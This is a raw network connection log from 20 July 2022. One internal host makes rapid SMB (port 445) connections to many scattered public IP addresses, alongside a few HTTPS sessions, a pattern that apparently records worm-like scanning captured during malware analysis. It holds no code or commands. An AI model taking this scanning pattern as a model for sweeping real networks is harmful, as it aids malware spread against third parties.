Jul 20, 2022 06:10:26.434670925 CEST	64717	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:26.575462103 CEST	64721	445	192.168.2.6	51.83.204.39
Jul 20, 2022 06:10:26.575460911 CEST	64722	445	192.168.2.6	176.241.42.167
Jul 20, 2022 06:10:26.580070972 CEST	64720	445	192.168.2.6	37.21.160.191
Jul 20, 2022 06:10:26.607249022 CEST	445	64717	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:26.607345104 CEST	64717	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:26.607553005 CEST	64717	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:26.763241053 CEST	64724	445	192.168.2.6	178.159.42.183
Jul 20, 2022 06:10:26.780194998 CEST	445	64717	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:26.780433893 CEST	64717	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:26.950124979 CEST	445	64717	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:26.950297117 CEST	64717	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:27.119400978 CEST	445	64717	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:27.203860998 CEST	64729	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:27.374492884 CEST	445	64729	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:27.374711037 CEST	64729	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:27.407867908 CEST	64729	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:27.408432007 CEST	64731	445	192.168.2.6	220.250.125.240
Jul 20, 2022 06:10:27.408566952 CEST	64732	445	192.168.2.6	4.227.171.63
Jul 20, 2022 06:10:27.409204006 CEST	64742	445	192.168.2.6	85.163.152.184
Jul 20, 2022 06:10:27.409849882 CEST	64754	445	192.168.2.6	92.171.18.127
Jul 20, 2022 06:10:27.410006046 CEST	64757	445	192.168.2.6	222.217.33.250
Jul 20, 2022 06:10:27.411303043 CEST	64770	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:27.514354944 CEST	64783	445	192.168.2.6	18.59.95.97
Jul 20, 2022 06:10:27.514770985 CEST	64786	445	192.168.2.6	25.124.28.0
Jul 20, 2022 06:10:27.515410900 CEST	64792	445	192.168.2.6	162.5.187.10
Jul 20, 2022 06:10:27.515887976 CEST	64796	445	192.168.2.6	76.197.205.120
Jul 20, 2022 06:10:27.516062975 CEST	64797	445	192.168.2.6	201.132.6.197
Jul 20, 2022 06:10:27.516222954 CEST	64798	445	192.168.2.6	53.53.28.59
Jul 20, 2022 06:10:27.516680002 CEST	64802	445	192.168.2.6	131.148.171.68
Jul 20, 2022 06:10:27.517115116 CEST	64806	445	192.168.2.6	51.56.198.203
Jul 20, 2022 06:10:27.517575979 CEST	64810	445	192.168.2.6	46.22.96.218
Jul 20, 2022 06:10:27.518343925 CEST	64817	445	192.168.2.6	109.84.250.133
Jul 20, 2022 06:10:27.519515991 CEST	64828	445	192.168.2.6	118.181.128.20
Jul 20, 2022 06:10:27.520044088 CEST	64832	445	192.168.2.6	90.110.167.23
Jul 20, 2022 06:10:27.520283937 CEST	64834	445	192.168.2.6	68.189.168.27
Jul 20, 2022 06:10:27.520558119 CEST	64836	445	192.168.2.6	220.20.182.139
Jul 20, 2022 06:10:27.520709038 CEST	64837	445	192.168.2.6	111.211.214.187
Jul 20, 2022 06:10:27.577199936 CEST	445	64729	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:27.577231884 CEST	445	64729	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:27.585035086 CEST	445	64770	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:27.585167885 CEST	64770	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:27.585195065 CEST	64770	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:27.587405920 CEST	445	64810	46.22.96.218	192.168.2.6
Jul 20, 2022 06:10:27.654567003 CEST	64842	445	192.168.2.6	51.83.204.40
Jul 20, 2022 06:10:27.654732943 CEST	64843	445	192.168.2.6	37.21.160.192
Jul 20, 2022 06:10:27.654882908 CEST	64844	445	192.168.2.6	176.241.42.168
Jul 20, 2022 06:10:27.758698940 CEST	445	64770	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:27.758872986 CEST	64770	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:27.841026068 CEST	64845	445	192.168.2.6	178.159.42.184
Jul 20, 2022 06:10:27.933913946 CEST	445	64770	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:27.934061050 CEST	64770	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:28.090598106 CEST	64810	445	192.168.2.6	46.22.96.218
Jul 20, 2022 06:10:28.111685991 CEST	445	64770	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:28.162245989 CEST	445	64810	46.22.96.218	192.168.2.6
Jul 20, 2022 06:10:28.668814898 CEST	64810	445	192.168.2.6	46.22.96.218
Jul 20, 2022 06:10:28.742727041 CEST	445	64810	46.22.96.218	192.168.2.6
Jul 20, 2022 06:10:28.932914972 CEST	64852	445	192.168.2.6	154.227.82.224
Jul 20, 2022 06:10:28.933271885 CEST	64854	445	192.168.2.6	111.27.236.156
Jul 20, 2022 06:10:28.935528040 CEST	64865	445	192.168.2.6	97.69.90.232
Jul 20, 2022 06:10:28.937349081 CEST	64876	445	192.168.2.6	45.118.3.149
Jul 20, 2022 06:10:28.937937975 CEST	64879	445	192.168.2.6	124.225.248.31
Jul 20, 2022 06:10:28.997896910 CEST	64891	445	192.168.2.6	178.159.42.185
Jul 20, 2022 06:10:28.998044014 CEST	64892	445	192.168.2.6	51.83.204.41
Jul 20, 2022 06:10:28.998167992 CEST	64893	445	192.168.2.6	37.21.160.193
Jul 20, 2022 06:10:28.998280048 CEST	64894	445	192.168.2.6	176.241.42.169
Jul 20, 2022 06:10:29.028347015 CEST	445	64891	178.159.42.185	192.168.2.6
Jul 20, 2022 06:10:29.045136929 CEST	64898	445	192.168.2.6	170.184.8.141
Jul 20, 2022 06:10:29.045444965 CEST	64901	445	192.168.2.6	70.58.62.92
Jul 20, 2022 06:10:29.046350002 CEST	64907	445	192.168.2.6	78.187.70.80
Jul 20, 2022 06:10:29.046737909 CEST	64911	445	192.168.2.6	171.59.187.39
Jul 20, 2022 06:10:29.046883106 CEST	64912	445	192.168.2.6	202.142.145.69
Jul 20, 2022 06:10:29.047018051 CEST	64913	445	192.168.2.6	49.187.185.158
Jul 20, 2022 06:10:29.047451973 CEST	64917	445	192.168.2.6	71.96.234.92
Jul 20, 2022 06:10:29.047857046 CEST	64921	445	192.168.2.6	90.18.130.205
Jul 20, 2022 06:10:29.048233986 CEST	64925	445	192.168.2.6	158.166.66.219
Jul 20, 2022 06:10:29.048875093 CEST	64932	445	192.168.2.6	120.226.223.131
Jul 20, 2022 06:10:29.050298929 CEST	64947	445	192.168.2.6	17.97.32.142
Jul 20, 2022 06:10:29.050400019 CEST	64943	445	192.168.2.6	155.187.52.215
Jul 20, 2022 06:10:29.050499916 CEST	64949	445	192.168.2.6	110.178.100.2
Jul 20, 2022 06:10:29.050705910 CEST	64951	445	192.168.2.6	100.166.80.53
Jul 20, 2022 06:10:29.050833941 CEST	64952	445	192.168.2.6	183.215.107.202
Jul 20, 2022 06:10:29.060496092 CEST	64967	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:29.112454891 CEST	445	64248	163.191.136.5	192.168.2.6
Jul 20, 2022 06:10:29.186472893 CEST	445	64967	163.191.136.5	192.168.2.6
Jul 20, 2022 06:10:29.186678886 CEST	64967	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:29.187585115 CEST	64967	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:29.431972027 CEST	63758	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:29.543885946 CEST	64891	445	192.168.2.6	178.159.42.185
Jul 20, 2022 06:10:29.559506893 CEST	64967	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:29.571527004 CEST	445	64891	178.159.42.185	192.168.2.6
Jul 20, 2022 06:10:29.778316975 CEST	63996	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:29.825206995 CEST	63997	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:29.840888023 CEST	63799	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:29.981498957 CEST	64967	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:30.075197935 CEST	64891	445	192.168.2.6	178.159.42.185
Jul 20, 2022 06:10:30.102834940 CEST	445	64891	178.159.42.185	192.168.2.6
Jul 20, 2022 06:10:30.169812918 CEST	64972	445	192.168.2.6	178.159.42.186
Jul 20, 2022 06:10:30.170032024 CEST	64973	445	192.168.2.6	51.83.204.42
Jul 20, 2022 06:10:30.170248985 CEST	64974	445	192.168.2.6	37.21.160.194
Jul 20, 2022 06:10:30.170434952 CEST	64975	445	192.168.2.6	176.241.42.170
Jul 20, 2022 06:10:30.198333025 CEST	445	64972	178.159.42.186	192.168.2.6
Jul 20, 2022 06:10:30.216687918 CEST	64977	445	192.168.2.6	202.152.151.242
Jul 20, 2022 06:10:30.216860056 CEST	64978	445	192.168.2.6	44.99.230.161
Jul 20, 2022 06:10:30.217329025 CEST	64982	445	192.168.2.6	26.185.233.153
Jul 20, 2022 06:10:30.217993975 CEST	64988	445	192.168.2.6	155.98.36.199
Jul 20, 2022 06:10:30.218358040 CEST	64991	445	192.168.2.6	40.53.95.123
Jul 20, 2022 06:10:30.219840050 CEST	65005	445	192.168.2.6	39.117.28.251
Jul 20, 2022 06:10:30.220186949 CEST	65008	445	192.168.2.6	153.44.84.64
Jul 20, 2022 06:10:30.221445084 CEST	65019	445	192.168.2.6	85.204.40.83
Jul 20, 2022 06:10:30.221848965 CEST	445	64975	176.241.42.170	192.168.2.6
Jul 20, 2022 06:10:30.222146034 CEST	65025	445	192.168.2.6	141.32.251.109
Jul 20, 2022 06:10:30.222295046 CEST	65027	445	192.168.2.6	167.102.171.119
Jul 20, 2022 06:10:30.223823071 CEST	65048	445	192.168.2.6	176.242.15.164
Jul 20, 2022 06:10:30.223912954 CEST	65049	445	192.168.2.6	131.244.95.52
Jul 20, 2022 06:10:30.224081039 CEST	65051	445	192.168.2.6	172.68.108.23
Jul 20, 2022 06:10:30.224260092 CEST	65053	445	192.168.2.6	115.77.55.55
Jul 20, 2022 06:10:30.224567890 CEST	65057	445	192.168.2.6	155.200.227.135
Jul 20, 2022 06:10:30.225377083 CEST	65068	445	192.168.2.6	183.22.103.145
Jul 20, 2022 06:10:30.225902081 CEST	65075	445	192.168.2.6	221.45.32.243
Jul 20, 2022 06:10:30.226202011 CEST	65079	445	192.168.2.6	165.86.18.165
Jul 20, 2022 06:10:30.226505041 CEST	65083	445	192.168.2.6	171.145.195.74
Jul 20, 2022 06:10:30.226803064 CEST	65087	445	192.168.2.6	210.177.34.94
Jul 20, 2022 06:10:30.700231075 CEST	64972	445	192.168.2.6	178.159.42.186
Jul 20, 2022 06:10:30.730283022 CEST	445	64972	178.159.42.186	192.168.2.6
Jul 20, 2022 06:10:30.731473923 CEST	64967	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:30.731483936 CEST	64975	445	192.168.2.6	176.241.42.170
Jul 20, 2022 06:10:30.781919956 CEST	445	64975	176.241.42.170	192.168.2.6
Jul 20, 2022 06:10:31.123399019 CEST	65091	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:31.247590065 CEST	65093	445	192.168.2.6	176.241.42.171
Jul 20, 2022 06:10:31.247617006 CEST	65094	445	192.168.2.6	37.21.160.195
Jul 20, 2022 06:10:31.247750998 CEST	65095	445	192.168.2.6	178.159.42.187
Jul 20, 2022 06:10:31.247818947 CEST	65096	445	192.168.2.6	51.83.204.43
Jul 20, 2022 06:10:31.296639919 CEST	445	65091	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:31.296778917 CEST	65091	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:31.296869993 CEST	65091	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:31.325963974 CEST	65099	445	192.168.2.6	53.8.141.69
Jul 20, 2022 06:10:31.326088905 CEST	65100	445	192.168.2.6	174.157.84.92
Jul 20, 2022 06:10:31.327380896 CEST	65111	445	192.168.2.6	97.151.173.20
Jul 20, 2022 06:10:31.328540087 CEST	65113	445	192.168.2.6	213.66.14.65
Jul 20, 2022 06:10:31.329085112 CEST	65118	445	192.168.2.6	196.16.148.60
Jul 20, 2022 06:10:31.330672026 CEST	65129	445	192.168.2.6	178.203.159.149
Jul 20, 2022 06:10:31.331051111 CEST	65132	445	192.168.2.6	166.179.211.14
Jul 20, 2022 06:10:31.333003998 CEST	65146	445	192.168.2.6	202.25.43.194
Jul 20, 2022 06:10:31.333422899 CEST	65150	445	192.168.2.6	29.126.22.38
Jul 20, 2022 06:10:31.334026098 CEST	65156	445	192.168.2.6	119.57.1.251
Jul 20, 2022 06:10:31.334614038 CEST	65159	445	192.168.2.6	2.205.187.227
Jul 20, 2022 06:10:31.335445881 CEST	65163	445	192.168.2.6	45.231.160.76
Jul 20, 2022 06:10:31.335700035 CEST	65167	445	192.168.2.6	63.1.27.119
Jul 20, 2022 06:10:31.336294889 CEST	65171	445	192.168.2.6	51.136.97.158
Jul 20, 2022 06:10:31.337009907 CEST	65178	445	192.168.2.6	206.188.21.29
Jul 20, 2022 06:10:31.337980032 CEST	65188	445	192.168.2.6	53.197.67.108
Jul 20, 2022 06:10:31.338560104 CEST	65193	445	192.168.2.6	104.166.219.20
Jul 20, 2022 06:10:31.339071035 CEST	65196	445	192.168.2.6	207.118.107.149
Jul 20, 2022 06:10:31.339381933 CEST	65197	445	192.168.2.6	220.237.8.48
Jul 20, 2022 06:10:31.339766979 CEST	65198	445	192.168.2.6	120.235.3.172
Jul 20, 2022 06:10:31.470061064 CEST	445	65091	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:31.470191002 CEST	65091	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:31.490539074 CEST	445	64711	120.119.167.117	192.168.2.6
Jul 20, 2022 06:10:31.541661978 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.541707993 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.541878939 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.541918993 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.541995049 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.542119026 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.542974949 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.542993069 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.543066025 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.543088913 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.643604994 CEST	445	65091	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:31.650230885 CEST	65091	445	192.168.2.6	107.186.37.37
Jul 20, 2022 06:10:31.679088116 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.679178953 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.680722952 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.680820942 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.686472893 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.686573982 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.687431097 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.688008070 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.724584103 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.724616051 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.727601051 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.727621078 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.727940083 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.729948044 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.730005980 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.730066061 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.733288050 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.734280109 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.734332085 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.734380960 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.823616028 CEST	445	65091	107.186.37.37	192.168.2.6
Jul 20, 2022 06:10:31.888355017 CEST	65214	445	192.168.2.6	107.186.37.38
Jul 20, 2022 06:10:31.905175924 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.905199051 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.905234098 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.905288935 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.905457973 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.905774117 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.905803919 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.905816078 CEST	65211	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.905823946 CEST	443	65211	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.907776117 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.907834053 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.907880068 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.907896996 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.907926083 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.908025026 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.908390999 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.908409119 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:31.908416986 CEST	65210	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:31.908426046 CEST	443	65210	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:32.061630964 CEST	445	65214	107.186.37.38	192.168.2.6
Jul 20, 2022 06:10:32.061749935 CEST	65214	445	192.168.2.6	107.186.37.38
Jul 20, 2022 06:10:32.061790943 CEST	65214	445	192.168.2.6	107.186.37.38
Jul 20, 2022 06:10:32.062242031 CEST	65217	445	192.168.2.6	107.186.37.38
Jul 20, 2022 06:10:32.215951920 CEST	64967	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:32.234112978 CEST	445	65217	107.186.37.38	192.168.2.6
Jul 20, 2022 06:10:32.234276056 CEST	65217	445	192.168.2.6	107.186.37.38
Jul 20, 2022 06:10:32.234318972 CEST	65217	445	192.168.2.6	107.186.37.38
Jul 20, 2022 06:10:32.236244917 CEST	445	65214	107.186.37.38	192.168.2.6
Jul 20, 2022 06:10:32.236277103 CEST	445	65214	107.186.37.38	192.168.2.6
Jul 20, 2022 06:10:32.310276031 CEST	65218	445	192.168.2.6	51.83.204.44
Jul 20, 2022 06:10:32.310568094 CEST	65219	445	192.168.2.6	178.159.42.188
Jul 20, 2022 06:10:32.310786963 CEST	65220	445	192.168.2.6	176.241.42.172
Jul 20, 2022 06:10:32.310931921 CEST	65221	445	192.168.2.6	37.21.160.196
Jul 20, 2022 06:10:32.312040091 CEST	445	64967	163.191.136.5	192.168.2.6
Jul 20, 2022 06:10:32.372828960 CEST	65223	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:32.405340910 CEST	445	65217	107.186.37.38	192.168.2.6
Jul 20, 2022 06:10:32.405448914 CEST	65217	445	192.168.2.6	107.186.37.38
Jul 20, 2022 06:10:32.452084064 CEST	65234	445	192.168.2.6	201.155.54.64
Jul 20, 2022 06:10:32.452351093 CEST	65238	445	192.168.2.6	94.186.134.60
Jul 20, 2022 06:10:32.452469110 CEST	65241	445	192.168.2.6	197.35.222.86
Jul 20, 2022 06:10:32.453016043 CEST	65246	445	192.168.2.6	72.161.119.60
Jul 20, 2022 06:10:32.453825951 CEST	65259	445	192.168.2.6	97.215.51.174
Jul 20, 2022 06:10:32.454447031 CEST	65262	445	192.168.2.6	98.91.169.104
Jul 20, 2022 06:10:32.455595970 CEST	65273	445	192.168.2.6	133.147.231.250
Jul 20, 2022 06:10:32.455841064 CEST	65278	445	192.168.2.6	207.203.3.58
Jul 20, 2022 06:10:32.455918074 CEST	65280	445	192.168.2.6	138.137.211.217
Jul 20, 2022 06:10:32.456089973 CEST	65283	445	192.168.2.6	7.2.11.110
Jul 20, 2022 06:10:32.456556082 CEST	65292	445	192.168.2.6	28.32.94.25
Jul 20, 2022 06:10:32.456712008 CEST	65296	445	192.168.2.6	147.204.116.158
Jul 20, 2022 06:10:32.456837893 CEST	65298	445	192.168.2.6	132.197.173.1
Jul 20, 2022 06:10:32.456957102 CEST	65300	445	192.168.2.6	4.67.133.43
Jul 20, 2022 06:10:32.457660913 CEST	65309	445	192.168.2.6	97.141.114.69
Jul 20, 2022 06:10:32.458388090 CEST	65325	445	192.168.2.6	167.129.171.161
Jul 20, 2022 06:10:32.458739996 CEST	65327	445	192.168.2.6	173.108.158.93
Jul 20, 2022 06:10:32.458758116 CEST	65330	445	192.168.2.6	34.182.210.26
Jul 20, 2022 06:10:32.458976984 CEST	65334	445	192.168.2.6	14.3.212.140
Jul 20, 2022 06:10:32.497968912 CEST	445	65223	163.191.136.6	192.168.2.6
Jul 20, 2022 06:10:32.498090029 CEST	65223	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:32.498208046 CEST	65223	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:32.500020027 CEST	65336	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:32.577505112 CEST	445	65217	107.186.37.38	192.168.2.6
Jul 20, 2022 06:10:32.577622890 CEST	65217	445	192.168.2.6	107.186.37.38
Jul 20, 2022 06:10:32.598517895 CEST	65338	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:10:32.598556042 CEST	443	65338	20.199.120.182	192.168.2.6
Jul 20, 2022 06:10:32.598637104 CEST	65338	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:10:32.599469900 CEST	65338	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:10:32.599487066 CEST	443	65338	20.199.120.182	192.168.2.6
Jul 20, 2022 06:10:32.626983881 CEST	445	65336	163.191.136.6	192.168.2.6
Jul 20, 2022 06:10:32.628910065 CEST	65336	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:32.628937006 CEST	65336	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:32.693186998 CEST	443	65338	20.199.120.182	192.168.2.6
Jul 20, 2022 06:10:32.693308115 CEST	65338	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:10:32.696157932 CEST	65338	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:10:32.696170092 CEST	443	65338	20.199.120.182	192.168.2.6
Jul 20, 2022 06:10:32.696506023 CEST	443	65338	20.199.120.182	192.168.2.6
Jul 20, 2022 06:10:32.701368093 CEST	65338	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:10:32.701436043 CEST	65338	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:10:32.701447964 CEST	443	65338	20.199.120.182	192.168.2.6
Jul 20, 2022 06:10:32.701647997 CEST	65338	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:10:32.730444908 CEST	443	65338	20.199.120.182	192.168.2.6
Jul 20, 2022 06:10:32.731209993 CEST	443	65338	20.199.120.182	192.168.2.6
Jul 20, 2022 06:10:32.731300116 CEST	65338	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:10:32.731715918 CEST	65338	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:10:32.731733084 CEST	443	65338	20.199.120.182	192.168.2.6
Jul 20, 2022 06:10:32.748320103 CEST	445	65217	107.186.37.38	192.168.2.6
Jul 20, 2022 06:10:32.819272041 CEST	65341	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:32.819323063 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:32.819437981 CEST	65341	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:32.819612026 CEST	65341	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:32.819624901 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:32.919121027 CEST	65223	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:32.966954947 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:32.968066931 CEST	65341	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:32.968082905 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:32.969974995 CEST	65341	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:32.969984055 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:32.970081091 CEST	65341	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:32.970093012 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:33.014079094 CEST	65336	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:33.110739946 CEST	65342	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:33.143362999 CEST	445	65342	134.220.131.6	192.168.2.6
Jul 20, 2022 06:10:33.143786907 CEST	65342	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:33.147979975 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:33.148020029 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:33.148065090 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:33.148101091 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:33.148106098 CEST	65341	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:33.148152113 CEST	65341	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:33.148402929 CEST	65341	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:33.148422003 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:33.148437023 CEST	65341	443	192.168.2.6	20.190.159.74
Jul 20, 2022 06:10:33.148443937 CEST	443	65341	20.190.159.74	192.168.2.6
Jul 20, 2022 06:10:33.372577906 CEST	65344	445	192.168.2.6	37.21.160.197
Jul 20, 2022 06:10:33.372720957 CEST	65346	445	192.168.2.6	178.159.42.189
Jul 20, 2022 06:10:33.372766972 CEST	65347	445	192.168.2.6	51.83.204.45
Jul 20, 2022 06:10:33.373671055 CEST	65345	445	192.168.2.6	176.241.42.173
Jul 20, 2022 06:10:33.428951979 CEST	445	65345	176.241.42.173	192.168.2.6
Jul 20, 2022 06:10:33.434849024 CEST	65336	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:33.450423002 CEST	65342	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:33.577869892 CEST	65352	445	192.168.2.6	160.165.72.106
Jul 20, 2022 06:10:33.577980995 CEST	65354	445	192.168.2.6	110.180.73.123
Jul 20, 2022 06:10:33.578214884 CEST	65358	445	192.168.2.6	159.130.20.235
Jul 20, 2022 06:10:33.578334093 CEST	65359	445	192.168.2.6	26.62.220.189
Jul 20, 2022 06:10:33.578589916 CEST	65363	445	192.168.2.6	23.38.33.85
Jul 20, 2022 06:10:33.579332113 CEST	65373	445	192.168.2.6	54.89.87.103
Jul 20, 2022 06:10:33.579772949 CEST	65378	445	192.168.2.6	186.60.8.48
Jul 20, 2022 06:10:33.579890013 CEST	65379	445	192.168.2.6	135.177.46.239
Jul 20, 2022 06:10:33.580463886 CEST	65390	445	192.168.2.6	91.28.66.237
Jul 20, 2022 06:10:33.581520081 CEST	65405	445	192.168.2.6	136.189.205.113
Jul 20, 2022 06:10:33.582115889 CEST	65407	445	192.168.2.6	186.90.246.96
Jul 20, 2022 06:10:33.582155943 CEST	65418	445	192.168.2.6	142.6.115.204
Jul 20, 2022 06:10:33.582237005 CEST	65419	445	192.168.2.6	62.106.198.188
Jul 20, 2022 06:10:33.582381010 CEST	65422	445	192.168.2.6	84.0.28.69
Jul 20, 2022 06:10:33.582525015 CEST	65424	445	192.168.2.6	3.201.85.164
Jul 20, 2022 06:10:33.582906961 CEST	65430	445	192.168.2.6	173.160.188.99
Jul 20, 2022 06:10:33.583549023 CEST	65442	445	192.168.2.6	22.208.92.153
Jul 20, 2022 06:10:33.583741903 CEST	65446	445	192.168.2.6	51.173.135.85
Jul 20, 2022 06:10:33.584271908 CEST	65457	445	192.168.2.6	179.162.185.84
Jul 20, 2022 06:10:33.669195890 CEST	65223	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:33.700566053 CEST	65342	445	192.168.2.6	134.220.131.6
